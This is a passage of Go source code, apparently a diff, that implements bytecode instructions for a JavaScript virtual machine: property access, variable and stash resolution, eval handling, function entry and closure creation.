:= vm.stack[vm.sp-1] + method := vm.r.toObject(val) + method.self.defineOwnPropertyStr("name", PropertyDescriptor{ + Value: funcName("get ", propName), + Configurable: FLAG_TRUE, + }, true) + + descr := PropertyDescriptor{ + Getter: val, + Configurable: FLAG_TRUE, + Enumerable: ToFlag(s.enumerable), + } + + obj.defineOwnProperty(propName, descr, true) + + vm.sp -= 2 + vm.pc++ +} + +type defineSetter struct { + enumerable bool +} + +func (s *defineSetter) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-3]) + propName := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + method := vm.r.toObject(val) + + method.self.defineOwnPropertyStr("name", PropertyDescriptor{ + Value: funcName("set ", propName), + Configurable: FLAG_TRUE, + }, true) + + descr := PropertyDescriptor{ + Setter: val, + Configurable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + } + + obj.defineOwnProperty(propName, descr, true) + + vm.sp -= 2 + vm.pc++ +} + +type getProp unistring.String + +func (g getProp) exec(vm *vm) { + v := vm.stack[vm.sp-1] + obj := v.baseObject(vm.r) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", g)) + return + } + vm.stack[vm.sp-1] = nilSafe(obj.self.getStr(unistring.String(g), v)) + + vm.pc++ +} + +type getPropRecv unistring.String + +func (g getPropRecv) exec(vm *vm) { + recv := vm.stack[vm.sp-2] + v := vm.stack[vm.sp-1] + obj := v.baseObject(vm.r) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", g)) + return + } + vm.stack[vm.sp-2] = nilSafe(obj.self.getStr(unistring.String(g), recv)) + vm.sp-- + vm.pc++ +} + +type getPropRecvCallee unistring.String + +func (g getPropRecvCallee) exec(vm *vm) { + recv := vm.stack[vm.sp-2] + v := vm.stack[vm.sp-1] + obj := v.baseObject(vm.r) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", g)) + return + } + + n := unistring.String(g) + prop := obj.self.getStr(n, recv) + if prop == nil { + prop = memberUnresolved{valueUnresolved{r: vm.r, ref: n}} + } + + vm.stack[vm.sp-1] = prop + vm.pc++ +} + +type getPropCallee unistring.String + +func (g getPropCallee) exec(vm *vm) { + v := vm.stack[vm.sp-1] + obj := v.baseObject(vm.r) + n := unistring.String(g) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined or null", n)) + return + } + prop := obj.self.getStr(n, v) + if prop == nil { + prop = memberUnresolved{valueUnresolved{r: vm.r, ref: n}} + } + vm.push(prop) + + vm.pc++ +} + +type _getElem struct{} + +var getElem _getElem + +func (_getElem) exec(vm *vm) { + v := vm.stack[vm.sp-2] + obj := v.baseObject(vm.r) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", vm.stack[vm.sp-1])) + return + } + propName := toPropertyKey(vm.stack[vm.sp-1]) + + vm.stack[vm.sp-2] = nilSafe(obj.get(propName, v)) + + vm.sp-- + vm.pc++ +} + +type _getElemRecv struct{} + +var getElemRecv _getElemRecv + +func (_getElemRecv) exec(vm *vm) { + recv := vm.stack[vm.sp-3] + v := vm.stack[vm.sp-1] + obj := v.baseObject(vm.r) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", vm.stack[vm.sp-2])) + return + } + propName := toPropertyKey(vm.stack[vm.sp-2]) + + vm.stack[vm.sp-3] = nilSafe(obj.get(propName, recv)) + + vm.sp -= 2 + vm.pc++ +} + +type _getKey struct{} + +var getKey _getKey + +func (_getKey) exec(vm *vm) { + v := vm.stack[vm.sp-2] + obj := v.baseObject(vm.r) + propName := vm.stack[vm.sp-1] + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", propName.String())) + return + } + + vm.stack[vm.sp-2] = nilSafe(obj.get(propName, v)) + + vm.sp-- + vm.pc++ +} + +type _getElemCallee struct{} + +var getElemCallee _getElemCallee + +func (_getElemCallee) exec(vm *vm) { + v := vm.stack[vm.sp-2] + obj := v.baseObject(vm.r) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", vm.stack[vm.sp-1])) + return + } + + propName := toPropertyKey(vm.stack[vm.sp-1]) + prop := obj.get(propName, v) + if prop == nil { + prop = memberUnresolved{valueUnresolved{r: vm.r, ref: propName.string()}} + } + vm.stack[vm.sp-1] = prop + + vm.pc++ +} + +type _getElemRecvCallee struct{} + +var getElemRecvCallee _getElemRecvCallee + +func (_getElemRecvCallee) exec(vm *vm) { + recv := vm.stack[vm.sp-3] + v := vm.stack[vm.sp-2] + obj := v.baseObject(vm.r) + if obj == nil { + vm.throw(vm.r.NewTypeError("Cannot read property '%s' of undefined", vm.stack[vm.sp-1])) + return + } + + propName := toPropertyKey(vm.stack[vm.sp-1]) + prop := obj.get(propName, recv) + if prop == nil { + prop = memberUnresolved{valueUnresolved{r: vm.r, ref: propName.string()}} + } + vm.stack[vm.sp-2] = prop + vm.sp-- + + vm.pc++ +} + +type _dup struct{} + +var dup _dup + +func (_dup) exec(vm *vm) { + vm.push(vm.stack[vm.sp-1]) + vm.pc++ +} + +type dupN uint32 + +func (d dupN) exec(vm *vm) { + vm.push(vm.stack[vm.sp-1-int(d)]) + vm.pc++ +} + +type rdupN uint32 + +func (d rdupN) exec(vm *vm) { + vm.stack[vm.sp-1-int(d)] = vm.stack[vm.sp-1] + vm.pc++ +} + +type dupLast uint32 + +func (d dupLast) exec(vm *vm) { + e := vm.sp + int(d) + vm.stack.expand(e) + copy(vm.stack[vm.sp:e], vm.stack[vm.sp-int(d):]) + vm.sp = e + vm.pc++ +} + +type _newObject struct{} + +var newObject _newObject + +func (_newObject) exec(vm *vm) { + vm.push(vm.r.NewObject()) + vm.pc++ +} + +type newArray uint32 + +func (l newArray) exec(vm *vm) { + values := make([]Value, 0, l) + vm.push(vm.r.newArrayValues(values)) + vm.pc++ +} + +type _pushArrayItem struct{} + +var pushArrayItem _pushArrayItem + +func (_pushArrayItem) exec(vm *vm) { + arr := vm.stack[vm.sp-2].(*Object).self.(*arrayObject) + if arr.length < math.MaxUint32 { + arr.length++ + } else { + vm.throw(vm.r.newError(vm.r.getRangeError(), "Invalid array length")) + return + } + val := vm.stack[vm.sp-1] + arr.values = append(arr.values, val) + if val != nil { + arr.objCount++ + } + vm.sp-- + vm.pc++ +} + +type _pushArraySpread struct{} + +var pushArraySpread _pushArraySpread + +func (_pushArraySpread) exec(vm *vm) { + arr := vm.stack[vm.sp-2].(*Object).self.(*arrayObject) + vm.r.getIterator(vm.stack[vm.sp-1], nil).iterate(func(val Value) { + if arr.length < math.MaxUint32 { + arr.length++ + } else { + vm.throw(vm.r.newError(vm.r.getRangeError(), "Invalid array length")) + return + } + arr.values = append(arr.values, val) + arr.objCount++ + }) + vm.sp-- + vm.pc++ +} + +type _pushSpread struct{} + +var pushSpread _pushSpread + +func (_pushSpread) exec(vm *vm) { + vm.sp-- + obj := vm.stack[vm.sp] + vm.r.getIterator(obj, nil).iterate(func(val Value) { + vm.push(val) + }) + vm.pc++ +} + +type _newArrayFromIter struct{} + +var newArrayFromIter _newArrayFromIter + +func (_newArrayFromIter) exec(vm *vm) { + var values []Value + l := len(vm.iterStack) - 1 + iter := vm.iterStack[l].iter + vm.iterStack[l] = iterStackItem{} + vm.iterStack = vm.iterStack[:l] + if iter.iterator != nil { + iter.iterate(func(val Value) { + values = append(values, val) + }) + } + vm.push(vm.r.newArrayValues(values)) + vm.pc++ +} + +type newRegexp struct { + pattern *regexpPattern + src String +} + +func (n *newRegexp) exec(vm *vm) { + vm.push(vm.r.newRegExpp(n.pattern.clone(), n.src, vm.r.getRegExpPrototype()).val) + vm.pc++ +} + +func (vm *vm) setLocalLex(s int) { + v := vm.stack[vm.sp-1] + level := s >> 24 + idx := uint32(s & 0x00FFFFFF) + stash := vm.stash + for i := 0; i < level; i++ { + stash = stash.outer + } + p := &stash.values[idx] + if *p == nil { + panic(errAccessBeforeInit) + } + *p = v + vm.pc++ +} + +func (vm *vm) initLocal(s int) { + v := vm.stack[vm.sp-1] + level := s >> 24 + idx := uint32(s & 0x00FFFFFF) + stash := vm.stash + for i := 0; i < level; i++ { + stash = stash.outer + } + stash.initByIdx(idx, v) + vm.pc++ +} + +type storeStash uint32 + +func (s storeStash) exec(vm *vm) { + vm.initLocal(int(s)) +} + +type storeStashP uint32 + +func (s storeStashP) exec(vm *vm) { + vm.initLocal(int(s)) + vm.sp-- +} + +type storeStashLex uint32 + +func (s storeStashLex) exec(vm *vm) { + vm.setLocalLex(int(s)) +} + +type storeStashLexP uint32 + +func (s storeStashLexP) exec(vm *vm) { + vm.setLocalLex(int(s)) + vm.sp-- +} + +type initStash uint32 + +func (s initStash) exec(vm *vm) { + vm.initLocal(int(s)) +} + +type initStashP uint32 + +func (s initStashP) exec(vm *vm) { + vm.initLocal(int(s)) + vm.sp-- +} + +type initGlobalP unistring.String + +func (s initGlobalP) exec(vm *vm) { + vm.sp-- + vm.r.global.stash.initByName(unistring.String(s), vm.stack[vm.sp]) + vm.pc++ +} + +type initGlobal unistring.String + +func (s initGlobal) exec(vm *vm) { + vm.r.global.stash.initByName(unistring.String(s), vm.stack[vm.sp]) + vm.pc++ +} + +type resolveVar1 unistring.String + +func (s resolveVar1) exec(vm *vm) { + name := unistring.String(s) + var ref ref + for stash := vm.stash; stash != nil; stash = stash.outer { + ref = stash.getRefByName(name, false) + if ref != nil { + goto end + } + } + + ref = &objStrRef{ + base: vm.r.globalObject, + name: name, + binding: true, + } + +end: + vm.refStack = append(vm.refStack, ref) + vm.pc++ +} + +type deleteVar unistring.String + +func (d deleteVar) exec(vm *vm) { + name := unistring.String(d) + ret := true + for stash := vm.stash; stash != nil; stash = stash.outer { + if stash.obj != nil { + if stashObjHas(stash.obj, name) { + ret = stash.obj.self.deleteStr(name, false) + goto end + } + } else { + if idx, exists := stash.names[name]; exists { + if idx&(maskVar|maskDeletable) == maskVar|maskDeletable { + stash.deleteBinding(name) + } else { + ret = false + } + goto end + } + } + } + + if vm.r.globalObject.self.hasPropertyStr(name) { + ret = vm.r.globalObject.self.deleteStr(name, false) + } + +end: + if ret { + vm.push(valueTrue) + } else { + vm.push(valueFalse) + } + vm.pc++ +} + +type deleteGlobal unistring.String + +func (d deleteGlobal) exec(vm *vm) { + name := unistring.String(d) + var ret bool + if vm.r.globalObject.self.hasPropertyStr(name) { + ret = vm.r.globalObject.self.deleteStr(name, false) + } else { + ret = true + } + if ret { + vm.push(valueTrue) + } else { + vm.push(valueFalse) + } + vm.pc++ +} + +type resolveVar1Strict unistring.String + +func (s resolveVar1Strict) exec(vm *vm) { + name := unistring.String(s) + var ref ref + for stash := vm.stash; stash != nil; stash = stash.outer { + ref = stash.getRefByName(name, true) + if ref != nil { + goto end + } + } + + if vm.r.globalObject.self.hasPropertyStr(name) { + ref = &objStrRef{ + base: vm.r.globalObject, + name: name, + binding: true, + strict: true, + } + goto end + } + + ref = &unresolvedRef{ + runtime: vm.r, + name: name, + } + +end: + vm.refStack = append(vm.refStack, ref) + vm.pc++ +} + +type setGlobal unistring.String + +func (s setGlobal) exec(vm *vm) { + vm.r.setGlobal(unistring.String(s), vm.peek(), false) + vm.pc++ +} + +type setGlobalStrict unistring.String + +func (s setGlobalStrict) exec(vm *vm) { + vm.r.setGlobal(unistring.String(s), vm.peek(), true) + vm.pc++ +} + +// Load a var from stash +type loadStash uint32 + +func (g loadStash) exec(vm *vm) { + level := int(g >> 24) + idx := uint32(g & 0x00FFFFFF) + stash := vm.stash + for i := 0; i < level; i++ { + stash = stash.outer + } + + vm.push(nilSafe(stash.getByIdx(idx))) + vm.pc++ +} + +// Load a lexical binding from stash +type loadStashLex uint32 + +func (g loadStashLex) exec(vm *vm) { + level := int(g >> 24) + idx := uint32(g & 0x00FFFFFF) + stash := vm.stash + for i := 0; i < level; i++ { + stash = stash.outer + } + + v := stash.getByIdx(idx) + if v == nil { + vm.throw(errAccessBeforeInit) + return + } + vm.push(v) + vm.pc++ +} + +// scan dynamic stashes up to the given level (encoded as 8 most significant bits of idx), if not found +// return the indexed var binding value from stash +type loadMixed struct { + name unistring.String + idx uint32 + callee bool +} + +func (g *loadMixed) exec(vm *vm) { + level := int(g.idx >> 24) + idx := g.idx & 0x00FFFFFF + stash := vm.stash + name := g.name + for i := 0; i < level; i++ { + if v, found := stash.getByName(name); found { + if g.callee { + if stash.obj != nil { + vm.push(stash.obj) + } else { + vm.push(_undefined) + } + } + vm.push(v) + goto end + } + stash = stash.outer + } + if g.callee { + vm.push(_undefined) + } + if stash != nil { + vm.push(nilSafe(stash.getByIdx(idx))) + } +end: + vm.pc++ +} + +// scan dynamic stashes up to the given level (encoded as 8 most significant bits of idx), if not found +// return the indexed lexical binding value from stash +type loadMixedLex loadMixed + +func (g *loadMixedLex) exec(vm *vm) { + level := int(g.idx >> 24) + idx := g.idx & 0x00FFFFFF + stash := vm.stash + name := g.name + for i := 0; i < level; i++ { + if v, found := stash.getByName(name); found { + if g.callee { + if stash.obj != nil { + vm.push(stash.obj) + } else { + vm.push(_undefined) + } + } + vm.push(v) + goto end + } + stash = stash.outer + } + if g.callee { + vm.push(_undefined) + } + if stash != nil { + v := stash.getByIdx(idx) + if v == nil { + vm.throw(errAccessBeforeInit) + return + } + vm.push(v) + } +end: + vm.pc++ +} + +// scan dynamic stashes up to the given level (encoded as 8 most significant bits of idx), if not found +// return the indexed var binding value from stack +type loadMixedStack struct { + name unistring.String + idx int + level uint8 + callee bool +} + +// same as loadMixedStack, but the args have been moved to stash (therefore stack layout is different) +type loadMixedStack1 loadMixedStack + +func (g *loadMixedStack) exec(vm *vm) { + stash := vm.stash + name := g.name + level := int(g.level) + for i := 0; i < level; i++ { + if v, found := stash.getByName(name); found { + if g.callee { + if stash.obj != nil { + vm.push(stash.obj) + } else { + vm.push(_undefined) + } + } + vm.push(v) + goto end + } + stash = stash.outer + } + if g.callee { + vm.push(_undefined) + } + loadStack(g.idx).exec(vm) + return +end: + vm.pc++ +} + +func (g *loadMixedStack1) exec(vm *vm) { + stash := vm.stash + name := g.name + level := int(g.level) + for i := 0; i < level; i++ { + if v, found := stash.getByName(name); found { + if g.callee { + if stash.obj != nil { + vm.push(stash.obj) + } else { + vm.push(_undefined) + } + } + vm.push(v) + goto end + } + stash = stash.outer + } + if g.callee { + vm.push(_undefined) + } + loadStack1(g.idx).exec(vm) + return +end: + vm.pc++ +} + +type loadMixedStackLex loadMixedStack + +// same as loadMixedStackLex but when the arguments have been moved into stash +type loadMixedStack1Lex loadMixedStack + +func (g *loadMixedStackLex) exec(vm *vm) { + stash := vm.stash + name := g.name + level := int(g.level) + for i := 0; i < level; i++ { + if v, found := stash.getByName(name); found { + if g.callee { + if stash.obj != nil { + vm.push(stash.obj) + } else { + vm.push(_undefined) + } + } + vm.push(v) + goto end + } + stash = stash.outer + } + if g.callee { + vm.push(_undefined) + } + loadStackLex(g.idx).exec(vm) + return +end: + vm.pc++ +} + +func (g *loadMixedStack1Lex) exec(vm *vm) { + stash := vm.stash + name := g.name + level := int(g.level) + for i := 0; i < level; i++ { + if v, found := stash.getByName(name); found { + if g.callee { + if stash.obj != nil { + vm.push(stash.obj) + } else { + vm.push(_undefined) + } + } + vm.push(v) + goto end + } + stash = stash.outer + } + if g.callee { + vm.push(_undefined) + } + loadStack1Lex(g.idx).exec(vm) + return +end: + vm.pc++ +} + +type resolveMixed struct { + name unistring.String + idx uint32 + typ varType + strict bool +} + +func newStashRef(typ varType, name unistring.String, v *[]Value, idx int) ref { + switch typ { + case varTypeVar: + return &stashRef{ + n: name, + v: v, + idx: idx, + } + case varTypeLet: + return &stashRefLex{ + stashRef: stashRef{ + n: name, + v: v, + idx: idx, + }, + } + case varTypeConst, varTypeStrictConst: + return &stashRefConst{ + stashRefLex: stashRefLex{ + stashRef: stashRef{ + n: name, + v: v, + idx: idx, + }, + }, + strictConst: typ == varTypeStrictConst, + } + } + panic("unsupported var type") +} + +func (r *resolveMixed) exec(vm *vm) { + level := int(r.idx >> 24) + idx := r.idx & 0x00FFFFFF + stash := vm.stash + var ref ref + for i := 0; i < level; i++ { + ref = stash.getRefByName(r.name, r.strict) + if ref != nil { + goto end + } + stash = stash.outer + } + + if stash != nil { + ref = newStashRef(r.typ, r.name, &stash.values, int(idx)) + goto end + } + + ref = &unresolvedRef{ + runtime: vm.r, + name: r.name, + } + +end: + vm.refStack = append(vm.refStack, ref) + vm.pc++ +} + +type resolveMixedStack struct { + name unistring.String + idx int + typ varType + level uint8 + strict bool +} + +type resolveMixedStack1 resolveMixedStack + +func (r *resolveMixedStack) exec(vm *vm) { + level := int(r.level) + stash := vm.stash + var ref ref + var idx int + for i := 0; i < level; i++ { + ref = stash.getRefByName(r.name, r.strict) + if ref != nil { + goto end + } + stash = stash.outer + } + + if r.idx > 0 { + idx = vm.sb + vm.args + r.idx + } else { + idx = vm.sb - r.idx + } + + ref = newStashRef(r.typ, r.name, (*[]Value)(&vm.stack), idx) + +end: + vm.refStack = append(vm.refStack, ref) + vm.pc++ +} + +func (r *resolveMixedStack1) exec(vm *vm) { + level := int(r.level) + stash := vm.stash + var ref ref + for i := 0; i < level; i++ { + ref = stash.getRefByName(r.name, r.strict) + if ref != nil { + goto end + } + stash = stash.outer + } + + ref = newStashRef(r.typ, r.name, (*[]Value)(&vm.stack), vm.sb+r.idx) + +end: + vm.refStack = append(vm.refStack, ref) + vm.pc++ +} + +type _getValue struct{} + +var getValue _getValue + +func (_getValue) exec(vm *vm) { + ref := vm.refStack[len(vm.refStack)-1] + vm.push(nilSafe(ref.get())) + vm.pc++ +} + +type _putValue struct{} + +var putValue _putValue + +func (_putValue) exec(vm *vm) { + l := len(vm.refStack) - 1 + ref := vm.refStack[l] + vm.refStack[l] = nil + vm.refStack = vm.refStack[:l] + ref.set(vm.stack[vm.sp-1]) + vm.pc++ +} + +type _popRef struct{} + +var popRef _popRef + +func (_popRef) exec(vm *vm) { + l := len(vm.refStack) - 1 + vm.refStack[l] = nil + vm.refStack = vm.refStack[:l] + vm.pc++ +} + +type _putValueP struct{} + +var putValueP _putValueP + +func (_putValueP) exec(vm *vm) { + l := len(vm.refStack) - 1 + ref := vm.refStack[l] + vm.refStack[l] = nil + vm.refStack = vm.refStack[:l] + ref.set(vm.stack[vm.sp-1]) + vm.sp-- + vm.pc++ +} + +type _initValueP struct{} + +var initValueP _initValueP + +func (_initValueP) exec(vm *vm) { + l := len(vm.refStack) - 1 + ref := vm.refStack[l] + vm.refStack[l] = nil + vm.refStack = vm.refStack[:l] + ref.init(vm.stack[vm.sp-1]) + vm.sp-- + vm.pc++ +} + +type loadDynamic unistring.String + +func (n loadDynamic) exec(vm *vm) { + name := unistring.String(n) + var val Value + for stash := vm.stash; stash != nil; stash = stash.outer { + if v, exists := stash.getByName(name); exists { + val = v + break + } + } + if val == nil { + val = vm.r.globalObject.self.getStr(name, nil) + if val == nil { + vm.throw(vm.r.newReferenceError(name)) + return + } + } + vm.push(val) + vm.pc++ +} + +type loadDynamicRef unistring.String + +func (n loadDynamicRef) exec(vm *vm) { + name := unistring.String(n) + var val Value + for stash := vm.stash; stash != nil; stash = stash.outer { + if v, exists := stash.getByName(name); exists { + val = v + break + } + } + if val == nil { + val = vm.r.globalObject.self.getStr(name, nil) + if val == nil { + val = valueUnresolved{r: vm.r, ref: name} + } + } + vm.push(val) + vm.pc++ +} + +type loadDynamicCallee unistring.String + +func (n loadDynamicCallee) exec(vm *vm) { + name := unistring.String(n) + var val Value + var callee *Object + for stash := vm.stash; stash != nil; stash = stash.outer { + if v, exists := stash.getByName(name); exists { + callee = stash.obj + val = v + break + } + } + if val == nil { + val = vm.r.globalObject.self.getStr(name, nil) + if val == nil { + val = valueUnresolved{r: vm.r, ref: name} + } + } + if callee != nil { + vm.push(callee) + } else { + vm.push(_undefined) + } + vm.push(val) + vm.pc++ +} + +type _pop struct{} + +var pop _pop + +func (_pop) exec(vm *vm) { + vm.sp-- + vm.pc++ +} + +func (vm *vm) callEval(n int, strict bool) { + if vm.r.toObject(vm.stack[vm.sp-n-1]) == vm.r.global.Eval { + if n > 0 { + srcVal := vm.stack[vm.sp-n] + if src, ok := srcVal.(String); ok { + ret := vm.r.eval(src, true, strict) + vm.stack[vm.sp-n-2] = ret + } else { + vm.stack[vm.sp-n-2] = srcVal + } + } else { + vm.stack[vm.sp-n-2] = _undefined + } + + vm.sp -= n + 1 + vm.pc++ + } else { + call(n).exec(vm) + } +} + +type callEval uint32 + +func (numargs callEval) exec(vm *vm) { + vm.callEval(int(numargs), false) +} + +type callEvalStrict uint32 + +func (numargs callEvalStrict) exec(vm *vm) { + vm.callEval(int(numargs), true) +} + +type _callEvalVariadic struct{} + +var callEvalVariadic _callEvalVariadic + +func (_callEvalVariadic) exec(vm *vm) { + vm.callEval(vm.countVariadicArgs()-2, false) +} + +type _callEvalVariadicStrict struct{} + +var callEvalVariadicStrict _callEvalVariadicStrict + +func (_callEvalVariadicStrict) exec(vm *vm) { + vm.callEval(vm.countVariadicArgs()-2, true) +} + +type _boxThis struct{} + +var boxThis _boxThis + +func (_boxThis) exec(vm *vm) { + v := vm.stack[vm.sb] + if v == _undefined || v == _null { + vm.stack[vm.sb] = vm.r.globalObject + } else { + vm.stack[vm.sb] = v.ToObject(vm.r) + } + vm.pc++ +} + +var variadicMarker Value = newSymbol(asciiString("[variadic marker]")) + +type _startVariadic struct{} + +var startVariadic _startVariadic + +func (_startVariadic) exec(vm *vm) { + vm.push(variadicMarker) + vm.pc++ +} + +type _callVariadic struct{} + +var callVariadic _callVariadic + +func (vm *vm) countVariadicArgs() int { + count := 0 + for i := vm.sp - 1; i >= 0; i-- { + if vm.stack[i] == variadicMarker { + return count + } + count++ + } + panic("Variadic marker was not found. Compiler bug.") +} + +func (_callVariadic) exec(vm *vm) { + call(vm.countVariadicArgs() - 2).exec(vm) +} + +type _endVariadic struct{} + +var endVariadic _endVariadic + +func (_endVariadic) exec(vm *vm) { + vm.sp-- + vm.stack[vm.sp-1] = vm.stack[vm.sp] + vm.pc++ +} + +type call uint32 + +func (numargs call) exec(vm *vm) { + // this + // callee + // arg0 + // ... + // arg + n := int(numargs) + v := vm.stack[vm.sp-n-1] // callee + obj := vm.toCallee(v) + obj.self.vmCall(vm, n) +} + +func (vm *vm) clearStack() { + sp := vm.sp + stackTail := vm.stack[sp:] + for i := range stackTail { + stackTail[i] = nil + } + vm.stack = vm.stack[:sp] +} + +type enterBlock struct { + names map[unistring.String]uint32 + stashSize uint32 + stackSize uint32 +} + +func (e *enterBlock) exec(vm *vm) { + if e.stashSize > 0 { + vm.newStash() + vm.stash.values = make([]Value, e.stashSize) + if len(e.names) > 0 { + vm.stash.names = e.names + } + } + ss := int(e.stackSize) + vm.stack.expand(vm.sp + ss - 1) + vv := vm.stack[vm.sp : vm.sp+ss] + for i := range vv { + vv[i] = nil + } + vm.sp += ss + vm.pc++ +} + +type enterCatchBlock struct { + names map[unistring.String]uint32 + stashSize uint32 + stackSize uint32 +} + +func (e *enterCatchBlock) exec(vm *vm) { + vm.newStash() + vm.stash.values = make([]Value, e.stashSize) + if len(e.names) > 0 { + vm.stash.names = e.names + } + vm.sp-- + vm.stash.values[0] = vm.stack[vm.sp] + ss := int(e.stackSize) + vm.stack.expand(vm.sp + ss - 1) + vv := vm.stack[vm.sp : vm.sp+ss] + for i := range vv { + vv[i] = nil + } + vm.sp += ss + vm.pc++ +} + +type leaveBlock struct { + stackSize uint32 + popStash bool +} + +func (l *leaveBlock) exec(vm *vm) { + if l.popStash { + vm.stash = vm.stash.outer + } + if ss := l.stackSize; ss > 0 { + vm.sp -= int(ss) + } + vm.pc++ +} + +type enterFunc struct { + names map[unistring.String]uint32 + stashSize uint32 + stackSize uint32 + numArgs uint32 + funcType funcType + argsToStash bool + extensible bool +} + +func (e *enterFunc) exec(vm *vm) { + // Input stack: + // + // callee + // this + // arg0 + // ... + // argN + // <- sp + + // Output stack: + // + // this <- sb + // + // <- sp + sp := vm.sp + vm.sb = sp - vm.args - 1 + vm.newStash() + stash := vm.stash + stash.funcType = e.funcType + stash.values = make([]Value, e.stashSize) + if len(e.names) > 0 { + if e.extensible { + m := make(map[unistring.String]uint32, len(e.names)) + for name, idx := range e.names { + m[name] = idx + } + stash.names = m + } else { + stash.names = e.names + } + } + + ss := int(e.stackSize) + ea := 0 + if e.argsToStash { + offset := vm.args - int(e.numArgs) + copy(stash.values, vm.stack[sp-vm.args:sp]) + if offset > 0 { + vm.stash.extraArgs = make([]Value, offset) + copy(stash.extraArgs, vm.stack[sp-offset:]) + } else { + vv := stash.values[vm.args:e.numArgs] + for i := range vv { + vv[i] = _undefined + } + } + sp -= vm.args + } else { + d := int(e.numArgs) - vm.args + if d > 0 { + ss += d + ea = d + vm.args = int(e.numArgs) + } + } + vm.stack.expand(sp + ss - 1) + if ea > 0 { + vv := vm.stack[sp : vm.sp+ea] + for i := range vv { + vv[i] = _undefined + } + } + vv := vm.stack[sp+ea : sp+ss] + for i := range vv { + vv[i] = nil + } + vm.sp = sp + ss + vm.pc++ +} + +// Similar to enterFunc, but for when arguments may be accessed before they are initialised, +// e.g. by an eval() code or from a closure, or from an earlier initialiser code. +// In this case the arguments remain on stack, first argsToCopy of them are copied to the stash. +type enterFunc1 struct { + names map[unistring.String]uint32 + stashSize uint32 + numArgs uint32 + argsToCopy uint32 + funcType funcType + extensible bool +} + +func (e *enterFunc1) exec(vm *vm) { + sp := vm.sp + vm.sb = sp - vm.args - 1 + vm.newStash() + stash := vm.stash + stash.funcType = e.funcType + stash.values = make([]Value, e.stashSize) + if len(e.names) > 0 { + if e.extensible { + m := make(map[unistring.String]uint32, len(e.names)) + for name, idx := range e.names { + m[name] = idx + } + stash.names = m + } else { + stash.names = e.names + } + } + offset := vm.args - int(e.argsToCopy) + if offset > 0 { + copy(stash.values, vm.stack[sp-vm.args:sp-offset]) + if offset := vm.args - int(e.numArgs); offset > 0 { + vm.stash.extraArgs = make([]Value, offset) + copy(stash.extraArgs, vm.stack[sp-offset:]) + } + } else { + copy(stash.values, vm.stack[sp-vm.args:sp]) + if int(e.argsToCopy) > vm.args { + vv := stash.values[vm.args:e.argsToCopy] + for i := range vv { + vv[i] = _undefined + } + } + } + + vm.pc++ +} + +// Finalises the initialisers section and starts the function body which has its own +// scope. When used in conjunction with enterFunc1 adjustStack is set to true which +// causes the arguments to be removed from the stack. +type enterFuncBody struct { + enterBlock + funcType funcType + extensible bool + adjustStack bool +} + +func (e *enterFuncBody) exec(vm *vm) { + if e.stashSize > 0 || e.extensible { + vm.newStash() + stash := vm.stash + stash.funcType = e.funcType + stash.values = make([]Value, e.stashSize) + if len(e.names) > 0 { + if e.extensible { + m := make(map[unistring.String]uint32, len(e.names)) + for name, idx := range e.names { + m[name] = idx + } + stash.names = m + } else { + stash.names = e.names + } + } + } + sp := vm.sp + if e.adjustStack { + sp -= vm.args + } + nsp := sp + int(e.stackSize) + if e.stackSize > 0 { + vm.stack.expand(nsp - 1) + vv := vm.stack[sp:nsp] + for i := range vv { + vv[i] = nil + } + } + vm.sp = nsp + vm.pc++ +} + +type _ret struct{} + +var ret _ret + +func (_ret) exec(vm *vm) { + // callee -3 + // this -2 <- sb + // retval -1 + + vm.stack[vm.sb-1] = vm.stack[vm.sp-1] + vm.sp = vm.sb + vm.popCtx() + vm.pc++ +} + +type cret uint32 + +func (c cret) exec(vm *vm) { + vm.stack[vm.sb] = *vm.getStashPtr(uint32(c)) + ret.exec(vm) +} + +type enterFuncStashless struct { + stackSize uint32 + args uint32 +} + +func (e *enterFuncStashless) exec(vm *vm) { + sp := vm.sp + vm.sb = sp - vm.args - 1 + d := int(e.args) - vm.args + if d > 0 { + ss := sp + int(e.stackSize) + d + vm.stack.expand(ss) + vv := vm.stack[sp : sp+d] + for i := range vv { + vv[i] = _undefined + } + vv = vm.stack[sp+d : ss] + for i := range vv { + vv[i] = nil + } + vm.args = int(e.args) + vm.sp = ss + } else { + if e.stackSize > 0 { + ss := sp + int(e.stackSize) + vm.stack.expand(ss) + vv := vm.stack[sp:ss] + for i := range vv { + vv[i] = nil + } + vm.sp = ss + } + } + vm.pc++ +} + +type newFuncInstruction interface { + getPrg() *Program +} + +type newFunc struct { + prg *Program + name unistring.String + source string + + length int + strict bool +} + +func (n *newFunc) exec(vm *vm) { + obj := vm.r.newFunc(n.name, n.length, n.strict) + obj.prg = n.prg + obj.stash = vm.stash + obj.privEnv = vm.privEnv + obj.src = n.source + vm.push(obj.val) + vm.pc++ +} + +func (n *newFunc) getPrg() *Program { + return n.prg +} + +type newAsyncFunc struct { + newFunc +} + +func (n *newAsyncFunc) exec(vm *vm) { + obj := vm.r.newAsyncFunc(n.name, n.length, n.strict) + obj.prg = n.prg + obj.stash = vm.stash + obj.privEnv = vm.privEnv + obj.src = n.source + vm.push(obj.val) + vm.pc++ +} + +type newGeneratorFunc struct { + newFunc +} + +func (n *newGeneratorFunc) exec(vm *vm) { + obj := vm.r.newGeneratorFunc(n.name, n.length, n.strict) + obj.prg = n.prg + obj.stash = vm.stash + obj.privEnv = vm.privEnv + obj.src = n.source + vm.push(obj.val) + vm.pc++ +} + +type newMethod struct { + newFunc + homeObjOffset uint32 +} + +func (n *newMethod) _exec(vm *vm, obj *methodFuncObject) { + obj.prg = n.prg + obj.stash = vm.stash + obj.privEnv = vm.privEnv + obj.src = n.source + if n.homeObjOffset > 0 { + obj.homeObject = vm.r.toObject(vm.stack[vm.sp-int(n.homeObjOffset)]) + } + vm.push(obj.val) + vm.pc++ +} + +func (n *newMethod) exec(vm *vm) { + n._exec(vm, vm.r.newMethod(n.name, n.length, n.strict)) +} + +type newAsyncMethod struct { + 